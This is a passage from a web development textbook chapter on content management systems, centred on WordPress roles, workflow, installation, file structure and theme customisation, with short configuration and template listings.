documents including: file storage, multiuser workflows, versioning,
searching, user management, publication, and others.

The principles from these systems are also the same in the web content
management systems. Benefiting from a well-defined and mature class of
software like DMS in the web context means you can avoid mistakes already
made, and benefit from their solutions.

It also means that many companies already have a document management
solution deployed enterprise wide. These enterprise software systems often
have a web component that can be purchased to leverage the investment



already made in the system. Tools like SharePoint are popular when
companies have already adopted Microsoft services like Active Directory and
Windows-based IIS web servers in their organization. Similarly, a company
running SAP may opt to use their web application server rather than another
commercial or open-source system.

With a CMS, end users can focus on publishing content and know that the
system will put that content in the right place using the right technologies.
Once properly configured and installed, a CMS requires only minimal
maintenance to stay operational, can reduce costs, and often doesn't need a
full-time web developer to make changes.

21.2.1 Types of CMS
A simple search for the term “CMS” in a search engine will demonstrate that
there are a lot of content management systems available. Indeed, a Wikipedia
page listing available web CMSs has, at the time of writing, 120 open-source
systems and 40 proprietary systems.1 These systems are implemented using a
wide range of development technologies including PHP, ASP.NET, Java,
Ruby, Python, and others. Some of these systems are free, while others can
cost hundreds of thousands of dollars.

This chapter uses WordPress as its sample CMS. Originally a blogging
engine, more and more CMS functionality has been added to it, and now, due
in part to its popularity as a way to manage blogs, WordPress is by far the
most popular CMS, as shown in Figure 21.3 . As a result, the ability to
customize and adapt WordPress has become an important skill for many web
developers. As you will see throughout this chapter, it implements all the key
pieces of a complete web management system, and goes beyond that,
allowing you to leverage the work of thousands of developers and designers
in the form of plugins and themes (written in PHP).



Figure 21.3 Market share of
content management systems
(data courtesy of BuiltWith.com)

Figure 21.3 Full Alternative Text

Before moving on to the specifics of WordPress, you will notice from Figure
21.3 that other content systems enjoy substantial support in industry. As well,
remember that the technology used in intranet sites (i.e., sites within a
company) is typically hidden from analytic sites like builtwith.com. Private
corporate intranet portals are one of the most common uses of CMSs so the
market share of systems like SharePoint and IBM's suite may in reality be
substantially larger than shown in Figure 21.3 .

Table 21.1 lists some of the more popular CMSs.

Table 21.1 Some Popular
Content Management Systems

http://BuiltWith.com
http://builtwith.com


DotNetNuke

Written in C#, this CMS has both open-source
and commercial versions. Its use of the
popular .NET Framework from Microsoft
makes it a popular open-source alternative to
PHP-based CMS.

Drupal

Written in PHP, Drupal is a popular CMS
with enterprise-level workflow functionality.
It is a popular CMS used in many large
organizations including whitehouse.gov and
data.gov.uk.

ExpressionsEngine

A proprietary CMS written in PHP with a
“core” version available for free for nonprofit
and personal use. ExpressionsEngine uses its
own template syntax to make customization
easier for nondevelopers.

IBM Enterprise
Content
Management
(ECM)

This proprietary system (written in Java)
requires the use of several additional
proprietary components. It is popular in
companies that have already licensed
software from IBM and require mature
enterprise CMS with advanced auditing, and
workflow capabilities that integrate with other
enterprise systems from IBM.

Joomla!

Written in PHP, Joomla! Is one of the older
free and open-source CMS (started in 2005).
With many plugins and extensions available,
it continues to be a popular CMS.

Moodle

Written in PHP, Moodle is an open-source
learning management system with over 7.5
million courses using it.2 The functionality is
focused on assignment submissions,
discussion forums, and grade/enrollment
management although it implements most
core CMS principles as well.
SharePoint is an enterprise-focused,
proprietary CMS from Microsoft that is

http://whitehouse.gov
http://data.gov.uk


SharePoint
especially popular in corporate intranet sites.
It is tightly integrated with the Microsoft suite
of tools (like Office, Exchange, Active
Directory) and has a mature and broad set of
tools.

When selecting a CMS there are several factors to consider including:

Technical requirements: Each CMS has particular requirements in terms
of the functionality it offers as well as the server software needed and
the database it is compatible with. Your client may have additional
requirements to consider.

System support: Some systems have larger and more supportive
communities/companies than others. Since you are going to rely on the
CMS to patch bugs and add new features, it's important that the CMS
community be active in supporting these types of updates or you will be
at risk of attack.

Ease of use: Probably the most important consideration is that the
system itself must be easy to use by nontechnical staff.

Note
WordPress is designed to be easy to use. If you have a running server, you
should really stop reading this section and install WordPress right now!
Reading this section while you play around in your own installation's
dashboard will help reinforce how WordPress implements the key aspects of
a CMS in an experiential way. Later, when we go into the customization of
WordPress, we assume you have completed the lab exercises and have gained
some experience.



21.3 CMS Components
As mentioned at the beginning of the chapter, a managed website typically
requires a range of features and tools such as asset management, templating,
user management, and so on. A CMS provides implementations of these
components within a single piece of software.

It should be reiterated that these web content management systems are
themselves web applications. As such, they provide a series of web pages that
you can use to add/edit content, manage users, upload media, etc. Most
content systems use some type of dashboard as an easy-to-use front end to all
the major functionality of the system.

In WordPress the dashboard is accessible by going to /wp-admin/ off the root
of your installation in a web browser. You will have to log in with a
username and password, as specified during the installation process (more on
that later). Most users find that the dashboard can be navigated without
reading too much documentation, since the links are well named and the
interface is intuitive.

21.3.1 Post and Page Management
Blogging environments such as WordPress use posts as one important way of
adding content to the site. Posts are usually displayed in reverse
chronological order (i.e., most recent first) and are typically assigned to
categories or tagged with keywords as a way of organizing them. Many sites
allow users to comment on posts as well. Figure 21.4 illustrates the
postediting page in WordPress. Notice the easy-to-use category and tag
interfaces on the right side of the editor.

Hands-on Exercises Lab 21



Exercise
Create Pages



Figure 21.4 Screenshot of the
post editor in WordPress

Figure 21.4 Full Alternative Text

CMSs typically use pages as the main organizational unit. Pages contains
content and typically do not display the date, categories, and tags that posts
use. The main menu hierarchy of a CMS site will typically be constructed
from pages.

WordPress supports both posts and pages; you typically use pages for
substantial content that needs to be readily available, while posts are used for
smaller chunks of content that are associated with a timestamp, categories,
and tags.

Most CMSs impose restrictions on page and postmanagement. Some users
may only be able to edit existing pages; others may be allowed to create posts
but not pages. More complex CMSs impose a workflow where edits from
users need to be approved by other users before they are published. Larger
organizations often require this type of workflow management to ensure
consistency of content or to provide editorial or legal control over content.

21.3.2 WYSIWYG Editors
What You See Is What You Get (WYSIWYG) design is a user interface
design pattern where you present the users with an exact (or close to it) view
of what the final product will look like, rather than a coded representation.
These tools generate HTML and CSS automatically through intuitive user
interfaces such as the one shown in Figure 21.5 .



Figure 21.5 Screenshot of the
TinyMCE WYSIWYG editor
included with WordPress

Figure 21.5 Full Alternative Text

The advantage of these tools is that users are not required to know HTML
and CSS, allowing them to edit and create pages with a focus on the content,
rather than the medium it will be encoded into (HTML). Although these tools
also allow the user to edit the underlying HTML (as shown in Figure 21.6 )
developers should resist the urge to write custom HTML and CSS, since
themes and templates provide the means for consistent styling.



Figure 21.6 The HTML view of
a WYSIWYG editor

Figure 21.6 Full Alternative Text

WYSIWYG editors often contain useful tools like validators, spell checkers,
and link builders. A good CMS will also allow a super-user like you to define
CSS styles, which are then available through the editor in a dropdown list as
illustrated in Figure 21.7 . This control allows content creators to choose
from predefined styles, rather than define them every time. It maintains
consistency from page to page, and yet still allows them to create new styles
if need be.



Figure 21.7 TinyMCE with a
style dropdown box using the
styles from a predefined CSS
stylesheet

Figure 21.7 Full Alternative Text

21.3.3 Template Management
Template management refers to the systems that manage the structure of a
website, independently of the content of each particular page, and is one of
the most important parts of any CMS. The concept of a template is an old one
and is used in disciplines outside web development. Newspapers, magazines,
and even cake decorators have adopted the design principle of having a
handful of layouts (i.e., templates), and then inserting content into them as
needed.

When you sketch a wireframe design (i.e., a rough preliminary design) of a
website, you might think of the wires as the template, with everything else
being the content. Several pages can use the same wireframe, but with
distinct content as shown in Figure 21.8 . While the content is often managed
by mapping URLs to pages in a database, conceptually the content can come
from anywhere.



Figure 21.8 Multiple templates
and their relationship to
content

Figure 21.8 Full Alternative Text

One of the trickiest aspects of creating a dynamic website is implementing
the menu and sidebars, since not only are they very dynamic, but they need to
be consistent as well. Templates allow you to manage multiple wireframes all
using the same content and then change them on a per-page, or site-wide
basis as needed. One common usage is to design a template for use on the
home page, and a second template for the rest of the pages on a site. Another
common use of templates is to create multiple, similar layouts, one with a
sidebar full of extra links, and another for wide content as in Figure 21.8 .

21.3.4 Menu Control



The term menu refers to the hierarchical structure of the content of a site as
well as the user interface reflection of that hierarchy (typically a prominent
list of links). The user interacts with the menu frequently, and they can range
in style and feel from pop-up menus to static lists. A menu is often managed
alongside templates since the template must integrate the menu for display
purposes.

Hands-on Exercises Lab 21
Exercise
Navigation from Pages

Some key pieces of functionality that should be supported in the menu
control capability of a CMS include:

Rearrange menu items and their hierarchy.

Change the destination page or URL for any menu item.

Add, edit, or remove menu items.

Change the style and look/feel of the menu in one place.

Manage short URLs associated with each menu item.

In WordPress menus are typically managed by creating pages, which are
associated with menu items in a traditional hierarchy. By controlling the
structure and ordering of pages, you can define your desired hierarchies.
Under Appearance > Menus, hierarchy and visibility can be controlled
manually in the menu management interface, allowing for more granular
management of multiple menu lists.

21.3.5 User Management and Roles



User management refers to a system's ability to have many users all working
together on the same website simultaneously. While some corporate content
management systems tie into existing user management products like Active
Directory or LDAP, a stand-alone CMS must include the facility to manage
users as well.

A CMS that includes user management must provide easy-to-use interfaces
for a nontechnical person to manage users. These functions include:

Adding a new user

Resetting a user password

Allowing users to recover their own passwords

Allowing users to manage their own profiles, including name, avatars,
and email addresses

Tracking logins

In a modern CMS the ability to assign roles to users is also essential since
you may not want all your users to be able to perform the above functions.
Typically, user management is delegated to one of the senior roles like site
manager or super administrator.

21.3.6 User Roles
Users in a CMS are given a user role, which specifies which rights and
privileges that user has. Roles in WordPress are analogous to roles in the
publishing industry where the jobs of a journalist, editor, and photographer
are distinct.

A typical CMS allows users to be assigned one of the four roles as illustrated
in Figure 21.9 : content creator, content publisher, site manager, and super
administrator. Although more finely grained controls are normally used in
practice, the essential theory behind roles can be illustrated using just these
four.



Figure 21.9 Typical roles and
responsibilities in a web CMS

Figure 21.9 Full Alternative Text

Content Creator
Content creators do exactly what their title implies: they create new pieces of
content for the website. This role is often the one that requires subroles
because there are many types of content that they can contribute. These users



are able to:

Create new web pages

Edit existing web pages

Save their edits in a draft form

Upload media assets such as images and videos

None of this role's activities result in any change whatsoever to the live
website. Instead the draft submissions of new or edited pages are subject to
oversight by the next role, the publisher.

Content Publisher
Content publishers are gatekeepers who determine if a submitted piece of
content should be published. This category exists because entities like
corporations or universities need to vet their public messages before they go
live. The major piece of functionality for these users is the ability to publish
pages to the live website. Since they can also perform all the duties of a
content creator, they can also make edits and create new pages themselves,
but unlike a creator, they can publish immediately.

The relationship between the publisher and creator is a complex one, but the
whole concept of workflow (covered in the next section) relies on the
existence of these roles.

Site Manager
The site manager is the role for users who can not only perform all the
creation and publishing tasks of the roles beneath them, but can also control
more complicated aspects of the site including:

Menu management



Management of installed plugins and widgets

Category and template management

CMS user account management

Asset management

Although this user does not have unlimited access to the CMS installation,
they are able to manage most of the day-to-day activity in the site. These
types of users are typically more comfortable with computational thinking,
although they can still be nonprogrammers. Since they can control the menu
and templates, these users can also significantly impact the site, including
possibly breaking some functionality.

Super Administrator
The super administrator role is normally reserved for a technical person, often
the web developer who originally configured and installed the CMS. These
users are able to access all of the functionality within the CMS and normally
have access to the underlying server it is hosted on as well. In addition to all
of the functionality of the other types of user, the super administrator is often
charged with:

Managing the backup strategy for the site

Creating/deleting CMS site manager accounts

Keeping the CMS up to date

Managing plugin and template installation

Ideally, the super administrator will rarely be involved in the normal day-to-
day operation of the CMS. Although in theory you can make every user a
super administrator, doing so is extremely unwise since this would
significantly increase the chance that a user will make a destructive change to
the site (this is an application of the principle of least privilege from Chapter



18, Section 18.2.5).

WordPress Roles
In WordPress the default roles are Administrator, Author, Editor,
Contributor, and Subscriber, which are very similar to our generic roles with
the Administrator being our super administrator and the Subscriber being a
new type of role that is read-only. One manifestation of roles is how they
change the dashboard for each class of user as illustrated in Figure 21.10 .
The diagram does not show some of the additional details, like the ability to
publish versus save as draft, but it gives an overall sense of the capabilities.





Figure 21.10 Multiple
dashboard menus for the five
default roles in WordPress

Figure 21.10 Full Alternative Text

21.3.7 Workflow and Version
Control
Workflow refers to the process of approval for publishing content. It is best
understood by considering the way that journalists and editors work together
at a newspaper. Using roles as described above, you can see that the content
created by content creators must eventually be approved or published by a
higher-ranking user. While many journalists can be submitting stories, it is
the editor who decides what gets published and where. In this structure
another class of contributor, photographers, may be able to upload pictures,
but editors (or journalists) choose where they will be published.

Hands-on Exercises Lab 21
Exercise
Create WordPress Users

CMSs integrate the notion of workflow by generalizing the concept and
allowing for every user in the system to have roles. Each role is then granted
permission to do various things including publishing a post, saving a draft,
uploading an image, and changing the home page.



Figure 21.11 illustrates a sample workflow to get a single news story
published in a newspaper or magazine office. The first draft of the story is
edited, creating new versions, until finally the publisher approves the story
for print. Notice that the super administrator plays no role in this workflow;
while that user is all-powerful, he or she is seldom needed in the regular
course of business.



Figure 21.11 Illustration of
multiple people working in a
workflow

Figure 21.11 Full Alternative Text

21.3.8 Asset Management
Websites can include a wide array of media. There are HTML documents, but
also images, videos, and sound files, as well other document types or plugins.
The basic functionality of digital asset management software enables the user
to:

Import new assets

Edit the metadata associated with assets

Delete assets

Browse assets for inclusion in content

Perform searches or apply filters to find assets

In a web context there are two categories of asset. The first are the pages of a
website, which are integrated into the navigation and structure of the site. The
second are the non-HTML assets of a site, which can be linked to from pages,
or embedded as images or plugins. Although some asset management
systems manage both in the same way, the management of non-HTML assets
requires different capabilities than pages.

In WordPress, media management is done through a media management
portal and through the media widgets built into the page's WYSIWYG editor.
This allows you to manage the media in one location as shown in Figure



21.12 but also lets content creators search for media right from the place they
edit their web pages as shown in Figure 21.13 .

Figure 21.12 Media
management portal in
WordPress

Figure 21.12 Full Alternative Text



Figure 21.13 Screenshot of a
media insertion dialog in the
page editor

Figure 21.13 Full Alternative Text

The media management portal allows the manager of the site to categorize
and tag assets for easier search and retrieval. It also allows the management
of where the files are uploaded and how they are stored.

21.3.9 Search
Searching has become a core way that users navigate the web, not only



through search engines, but also through the built-in search boxes on
websites.

Unfortunately, creating a fast and correct search of all your content is not
straightforward. Ironically, as the size of your site increases, so too does the
need for search functionality, and the complexity of such functionality. There
are three strategies to do website search: SQL queries using LIKE, third-party
search engines, and search indexes.

Although you could search for a word in every page of content using the
MySQL LIKE with % wildcards, that technique cannot make use of database
indexes, and thus suffers from poor performance. A poorly performing search
is computationally expensive, and results in poor user satisfaction. Included
by default with WordPress, it's worth seeking a replacement.

To address this poor performance, many websites offload search to a third-
party search engine. Using Google, for example, one can search our site
easily by typing site:funwebdev.com SearchTerm into the search field.

Hands-on Exercises Lab 21
Exercise
Install a Plugin

The problem with using a third party is that you are subject to their usage
policies and restrictions. You are encouraging users to leave your site to
search, which is never good, since there is a chance they won't return. You
are also relying on the third party having updated their cache with your
newest posts, something you cannot be sure of at all times.

Doing things properly requires that the system build and manage its own
index of search terms based on the content, so that the words on each page
are indexed and cross referenced, and thus quickly searchable. This is a trade
off where the preprocessing (which is intensive) happens at a scheduled time
once, and then on-the-fly search results can use the produced index, resulting

http://funwebdev.com


in faster search speeds.

While you could build a search index yourself (you will learn more about
search engine indexes in Chapter 23), plugins exist such as WPSearch, which
already implement search indexes so that you can easily build an index to get
faster user searches.3

21.3.10 Upgrades and Updates
Running a public site using an older version of a CMS is a real security risk.
Newer versions of a CMS typically not only add improvements and fixes
bugs, but they also close vulnerabilities that might let a hacker gain control of
your site. As we described in depth in Chapter 18, the security of your site is
only as good as the weakest link, and an outdated version of WordPress (or
any other CMS) may have publicly disclosed vulnerabilities that can be easily
exploited.

Note
One benefit of open-source software like WordPress is the ability of the
developer community to collectively identify and patch vulnerabilities in a
short time frame. However, the openness of the identification and patching
process provides hackers with a detailed guide on how to exploit
vulnerabilities in old versions.

When logged in as an editor in WordPress, the administrative dashboard
prominently displays indicators for out-of-date plugins and warning messages
about pending updates (as shown in Figure 21.14 ).



Figure 21.14 Screen of the



dashboard with update
notifications circled in red

Figure 21.14 Full Alternative Text

What actually happens during an update is that the WordPress source PHP
files are replaced with new versions, as needed. If you made any changes to
WordPress, these changes might be at risk. Your wp-config and other content
files are safe, but a backup should always be performed before proceeding,
just in case something goes wrong. There is also a very real danger that your
plugins are not compatible with the updated version. Be prepared to check
your site for errors after updating it.

The other complication with upgrading is that the user doing the upgrade
needs to know the FTP or SSH password to the server running WordPress. If
you do allow a nontechnical person to do updates, you should make sure the
SSH user and password they are provided has as few privileges as possible.
Since upgrades can break plugins and cause downtime to your site if
unsuccessful, this task should be left to someone who is qualified enough to
troubleshoot if a problem arises. You can configure automatic updates to
improve the security of your system without manual intervention, however,
updates may still create errors, especially with plug ins and themes.



21.4 WordPress Technical Overview
By now it's obvious that WordPress meets the standards of a decent CMS
from an end user's perspective. This section delves deeper into the
installation, configuration, and use of WordPress, including themes and
plugins customizations.

WordPress is written in PHP, and relies on a database engine to function.
You therefore require a server configured in much the same way as the
systems you have used thus far. The WordPress PHP code is distributed in a
zipped folder so its installation can be as simple as putting the right code in
the right file location.

21.4.1 Installation
WordPress proudly boasts that it can be installed in five minutes.4 Despite
that incredibly fast installation, many hosting companies also provide a
“single-click” installation of WordPress that can be installed from cPanel or
similar interface.

Those single-click installations do not normally allow as much control and
configuration as a self-installation, and are normally beneficial to the host
more than the client, since they can manage one instance of WordPress for
multiple clients.

The five-minute installation has only four steps:

1. Download and unzip WordPress.

2. Create a database on your server and a MySQL user with permissions to
that database.

3. Move the unzipped files to the location on your server you want to host
from (e.g., /var/www/html/myWordPressSite/).



4. Run the install script by visiting the URL associated with that folder in a
browser and answering several questions (about the site generally and
connecting to the database).

Command-Line Installation
The quick installation can be even quicker for an experienced administrator if
you circumvent the GUI interface and go directly to the files involved (those
being moved in Step 3, above). In particular, the file wp-config.php allows
you to set all the values asked about in the interactive installation as shown in
Listing 21.1.

Listing 21.1 wp-config.php file
excerpt illustrating how to configure
WordPress to connect to a database
/** The name of the database for WordPress */ 

define('DB_NAME', 'ArtDatabase'); 

/** MySQL database username */  

define('DB_USER', 'WordPressUser'); 

/** MySQL database password */ 

define('DB_PASSWORD', 'password'); 

/** MySQL hostname */ 

define('DB_HOST', 'localhost');

Knowing about wp-config.php is important, because if you ever want to
change a database configuration, you can't easily rerun the installation
program.

21.4.2 File Structure
A WordPress install comes with many PHP files, as well as images, style
sheets, and two simple plugins. The structure of the WordPress source folders



is shown in Figure 21.15 and consists of three main folders: wp-content, wp-
admin, and wp-includes. Although wp-admin and wp-includes contain the
core files that you don't need to change, wp-content will contain files specific
to your site including folders for user uploads, themes, templates, and
plugins.

Figure 21.15 Screenshot of the
WordPress directory structure

Figure 21.15 Full Alternative Text

When backing up your site, be sure to back up these files in addition to wp-
config.php and .htaccess, which may contain directives specific to your
installation.

Security Tip
Given that WordPress is so open, it is straightforward for an attacker to test
their attack on their own installation before attacking you. In particular, there
are many malicious people (and scripts) that will try and exploit known
weaknesses in old versions, or even try to brute-force guess an administrator
password to get access to your site. For that reason, some people think that
renaming the folders will grant them greater protection from such scripts so
that the files are not where the attacker expects them to be. The authors



recommend leaving the files and folders as they are since plugins will expect
them in standard locations. Instead, focus on hardening your site by keeping
it updated and installing plugins to prevent attacks.

Hands-on Exercises Lab 21
Exercise
Define a Child Theme

Multiple Sites with One WordPress
Installation
Consider for a moment that you may want to support more than one website
running WordPress for the same client (or multiple clients that you host).
Rather than install it anew for each site, it's possible to configure a single
installation to work with multiple sites as illustrated in Figure 21.16 . In fact
WordPress.com, where you can get a free WordPress blog, runs with this
configuration.

http://WordPress.com


Figure 21.16 Difference in
installation between a single
and multisite

Figure 21.16 Full Alternative Text

The advantage of a single installation is that you can share plugins and
templates across sites, and when you update the CMS you are updating all
sites at once. The disadvantage is that shared resources limit your ability to
customize, and a mistake on the site could affect all the domains being
hosted. Any customization of the PHP code is coupled to all the sites so you
should be careful if two distinct clients are involved.

It's critical to use a multisite installation in only the appropriate situations. If
the sites are for multiple divisions of the same company (like departments of
a university), or they are very basic sites for clients that do not want many
plugins, then multisite is ideal. Hosting multiple, distinct clients on a



multisite is trickier because they will want different plugins and possibly
different customizations, all of which can break the multisite model.
Although the multisite model may reduce maintenance in simple situations, it
can make maintenance harder if you try to do too much with each site. For
the remainder of this chapter, we will assume you are using a single-site
installation.

21.4.3 WordPress Nomenclature
WordPress has its own terminology that you must be familiar with if you
want to work with the system or search for issues in the community. While
WordPress adopts many of the terms from CMS literature, it has its own
distinct terms such as pages, posts, themes, widgets, and plugins, summarized
in Figure 21.17 .



Figure 21.17 Illustration of
WordPress components used to
generate HTML output
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Posts and Pages
As mentioned earlier in this chapter, posts are somewhat more transient than
pages. They are designed to capture a blog post, or a new update, or
something else where you don't require a menu item. Posts are normally
listed in reverse order of creation, so that the newest posts appear first. Posts
can be assigned categories and keywords so that you can create pages that
contain a list of all the posts in a particular category, with a particular
keyword, time range, or author.

Pages in WordPress are blocks of content, which are normally associated
with menu items. Pages can be arranged in a hierarchy, so that a page can
have parent and children pages, whereas posts cannot.

In terms of most company websites you might create a “contact us” page and
an “about us” page, since the structure of such pages is unlikely to change
very often and will be linked to menu items.

Templates
WordPress templates are the PHP files that control how content is pulled
from the database and presented to the user. Just as we described earlier in
this chapter, you may want to manage several templates for different layouts.
The mechanism to manage a suite of templates to be used on the same site is
called a WordPress theme.

Themes
WordPress themes are a collection of templates, images, styles, and other
code snippets that together define the look and feel of your entire site.
WordPress comes with one theme installed, but you can very easily install
and use others.5 Themes are designed to be swapped out as you update and
change your site and are therefore not the best place to write custom code



(plugins are that place). Your themes contain all of your templates, so if you
switch themes, any custom-built templates will stop working.

There is an entire industry built around theme creation and customization of
WordPress themes, although there are also thousands available for free. To
change, download, and modify themes, navigate to Appearance > Themes in
the dashboard.

Widgets
WordPress widgets are self-contained components, which allow dynamic
content to be arranged in sidebars by nontechnical users through the
dashboard by navigating to Appearance > Widgets. Although many plugins
create their own widgets, the default installation of WordPress includes
several noteworthy widgets:

Archives displays links to archived posts grouped by month or category.

Calendar displays a clickable calendar with links if any posts occurred
this month.

Categories displays lists of links to all existing categories.

Links is a widget that allows users to manage internal or external links.

Meta displays links to admin login, RSS feeds, and WordPress.org.

Pages displays links to all pages.

Recent Comments displays the most recent comments.

Recent Posts displays the most recent posts.

RSS displays an RSS feed.

Tag Cloud displays a clickable cloud of the top 45 words used as tag
keywords.

http://WordPress.org


Needless to say, including all the widgets on every site would be both ugly
and confusing. The thinking behind widgets is that you can easily arrange and
configure each widget to your particular needs, without having to write code.
A screenshot of a widget configuration view for a categories widget and its
corresponding display on a site is shown in Figure 21.18 .

Figure 21.18 The WordPress
category widget configuration
view and corresponding display

Figure 21.18 Full Alternative Text

Pro Tip
A common request from new users is to disable comments across the entire
site. Thankfully this can be accomplished without any programming through
the WordPress dashboard. Under Settings > Discussion you can turn
comments on or off for the entire site, and control other aspects of comment
moderation and display.

If you turn off comments on a site that has been accepting them, you will still
have to disable comments on all pages that were already created. To
accomplish this we suggest searching for a plugin to turn off all comments at
once.



Plugins
Plugins refer to the third-party add-ons that extend the functionality of
WordPress, many of which you can download for free. Plugins are
modularized pieces of PHP code that interact with the WordPress core to add
new features. Plugins are managed through the Plugins link on the dashboard.

Not all plugins work with all themes or all versions of WordPress, since they
are managed by independent developers who may or may not have the time
or desire to update for each new version of WordPress. Often, updates in
major versions of WordPress will break poorly supported plugins. It's still
important to keep WordPress up to date so broken plugins may need to be
replaced or updated yourself.

Permalinks
Permalinks is the term given to the links generated by WordPress when
rendering the navigation (and other links) for the site. The default technique
is to pass parameters in the URL but for a multitude of reasons including user
interface best practices and search engine optimization, URLs for every page
can be rewritten using .htaccess Apache rewrite rules stored in a .htaccess file
(refer back to Chapter 22 for details).

Consider an unsightly URL such as the following:

Example.com/?post_type=textbook&p=396

Permalink mappings allow URLs to be rewritten in order to make them easier
for the user to understand. Typically, one would rename the URL so that it
uses the post title or the category name to create a folder hierarchy such as:

Example.com/textbook/fundamentals-of-web-development/

Inside the dashboard under Settings > Permalinks (shown in Figure 21.19
), you can see some common shortcuts, and the custom structure to reflect the
URL above using /%category%/%postname%/.



Figure 21.19 Illustration of the
WordPress permalinks module
in the dashboard
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21.4.4 Taxonomies
Taxonomy, or classification of like things, is a word normally reserved for
biologists classifying species into similar groups. WordPress supports
classification as well, but rather than categorizing species, you are tagging
your posts with metadata related to categories, authors, user-defined tags, and
optionally your own taxonomies with your own custom templates.

Categories
Categories are the most intuitive method of classifying your posts in
WordPress. A site manager will normally create these categories ahead of
time, and content creators and editors will select them by ticking checkboxes



when publishing content. WordPress then stores these classifications in the
database with your posts and is able to dynamically create archive pages with
all the posts that are in a certain category.

Tags
Tags are almost identical to categories except they are more open-ended, in
that content creators can add them on the fly, and are not limited to the
predefined terms like they are with categories. Tags are normally displayed
with each post, and in tag clouds inside of widgets.

Hands-on Exercises Lab 21
Exercise
Custom Template Page

Link Categories
Link categories are used internally by WordPress by those who want to
categorize external links. They are straightforward and less interesting than
categories and tags for in-depth exploration.

Custom Taxonomies
Although many administrators find that the built-in tags and categories are
sufficient, there is a WordPress mechanism to define your own types of
taxonomy. Taxonomies are defined through the use of actions, so once you
learn how to define a custom post type (later in this chapter), you will have
the experience to develop your own taxonomies. The details are omitted from
this chapter for the sake of brevity but can be found in the WordPress



Codex.6

21.4.5 WordPress Template
Hierarchy
The default WordPress installation comes with a default theme containing
many templates to support the most common types of wireframes you will
need. There are templates to display a single page or post, the home page, a
404 not found page, and a set of templates for categories of posts including
archive and categories as shown in Figure 21.20 .



Figure 21.20 A simplified
illustration of the default
template selection hierarchy in



WordPress
Figure 21.20 Full Alternative Text

When a user makes a request, the WordPress CMS determines which
template to use to format and deliver the content based on the attributes of the
requested page. If a particular template cannot be found, WordPress
continues going down the hierarchy until it finds one, ultimately ending with
index.php. A more detailed summary of the template section mechanism can
be found on the WordPress website.7

WordPress uses the query string to determine which template to use. Later,
when you develop your own template, you must be aware of these queries
and the template structure.

Custom Posts
You can also define different types of post, which are then associated with a
custom template file. If you wanted to be able to post textbooks, for example,
you might define a textbook type of post, which will be handled by single-
textbook.php rather than the generic single.php. Custom post types are a great
way to customize your site for particular content, and allow the content
creators to leverage the work of the developer when creating new posts by
simply picking the correct post type.

The remainder of the chapter introduces increasingly advanced concepts
about how WordPress works and how to build atop it. Changing and building
themes is a great place to start this customization since the programming can
be restricted to CSS styles. Once you see how styles and templates relate, you
can tweak existing template files to achieve a custom site. Finally, advanced
techniques such as custom post types and plugins round out the toolset for the
WordPress developer.



21.5 Modifying Themes
The easiest customization you can make to a WordPress installation is to
change the theme through the dashboard, or tweak an existing theme for your
own purposes in code. Any changes you make to your themes are
independent of the WordPress core framework, and therefore can be easily
transferred to a new site (or put up for sale).

All the files you need to edit themes are found in the folder /wp-
content/themes/ with a subfolder containing every theme you have installed.
Each theme contains many files representing the hierarchy in Figure 21.20 as
well as others such as style sheets. Inside these files is the code to generate
HTML, which is a mix of PHP and HTML.

21.5.1 Changing Themes in
Dashboard
The dashboard provides an easy interface to preview, change, and search for
themes as shown in Figure 21.21 . It's critical to understand the value of
themes to the nontechnical user before you begin developing your own.
Themes offer more than good CSS styling; they can also be written to expose
the structure of your content, and work with a wide variety of plugins. When
you build themes of your own, you should take care to ensure that they work
in the dashboard, so that they are as interchangeable as regular ones for all
your users (including yourself).



Figure 21.21 Screenshot of
theme management interface in
the dashboard
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Pro Tip
In addition to the free themes available, there is an active community of
theme designers who sell custom themes for WordPress to users that
implement functionality or good design. For a few dollars, it may be possible
to save dozens or hundreds of hours of work, which is likely a good



investment (depending on your circumstances).

Modifying themes can happen in several ways with varying levels of
technical competency needed. Many themes allow the site manager to change
options through the dashboard such as colors, header images, and site
description. Accessing and modifying the CSS and PHP code associated with
the theme gives you full control. Learning how to edit themes is the best
place to begin learning about the inner workings of WordPress.

21.5.2 Creating a Child Theme (CSS
Only)
Every theme in WordPress relies on styles, which are defined in a style sheet,
often named style.css. The styles are normally tightly tied to the high-level
wireframe design of a page where class names of <div> elements are chosen.
A theme can be seen in action by viewing posts on your page and looking at
the styles through the browser, exploring the source code directly in your
template files, or viewing the code through the dashboard theme editor.

To start a child theme from an existing one where the only difference is a
different style.css file, create a new folder on the server in the theme folder.
Convention dictates that child themes are in folders with the parent name and
a dash appending the child theme name. A child of the Twenty Sixteen theme
would therefore reside in /wp- content/themes/twentysixteen-child/. In that
folder create a style.css file with the comment from Listing 21.2, which
defines the theme name and the template to use with it. The template defines
the parent template (if any) by specifying the folder name it resides in. In this
case the Twenty Sixteen theme is in the folder named twentysixteen/.

Listing 21.2 Comment to define a
child theme and import its style



sheet
/* 

Theme Name:     Twenty Sixteen Example Child 

Theme URI:      http://funwebdev.com/ 

Description:    Theme to demonstrate child themes 

Author:         Randy Connolly and Ricardo Hoar 

Author URI:     http://funwebdev.com 

Template:       twentysixteen                            

Version:        1.0.0 

*/ 

@import url(“../twentysixteen/style.css”);

Once this child folder and file are saved, go to Administration Panels >
Appearance > Themes in the dashboard to see your child theme listed using
the name specified in the comment. Now any changes do not touch the
original theme and you can switch themes back and forth through the
dashboard. Click Activate to start using the new theme right away. Add styles
to style.css that override the existing styles in the template to define a theme
truly distinct from its parent.

21.5.3 Changing Theme Files
Although all the styles are accessible to you, you may wonder where the
various CSS classes are used in the HTML that is output. The included PHP
code is where the CSS classes are referenced. You must first determine which
template file you want to change. As the hierarchy from Figure 21.20
illustrates, there are several source files used by default. Best practice is to
add the newly defined theme files to a child theme like the one we just
started, leaving existing page templates alone. To tinker with the footer, we
would make a copy of the existing footer.php in our new theme folder.

Tinkering with a Footer
Many sites want to modify the footer for the site, to modify the default link to



WordPress if nothing else, all of which is stored in footer.php. The simple
footer in Listing 21.3 is derived from the Twenty Sixteen theme and does just
that, changing the footer link.

Listing 21.3 A sample footer.php
template file with the change from
the original in red
</div><!-- #main .wrapper -->  

 <footer id=“colophon” role=“contentinfo”> 

    <div class=“site-info”> 

       <a href='http://funwebdev.com'>Supported by Fun Web Dev</a>

    </div><!-- .site-info --> 

 </footer><!-- #colophon -->    

</div><!-- #page -->     

<?php wp_footer(); ?> 

</body> 

</html>

Changing any of the files in the theme is allowed, which means you can play
around with any of the code to get your site to look just as you want it. The
more you try and hack around, the sooner you will learn that there are all
sorts of functions being called that aren't in PHP. The wp_footer() function,
for example, produces no output, but many plugins rely on it to help load
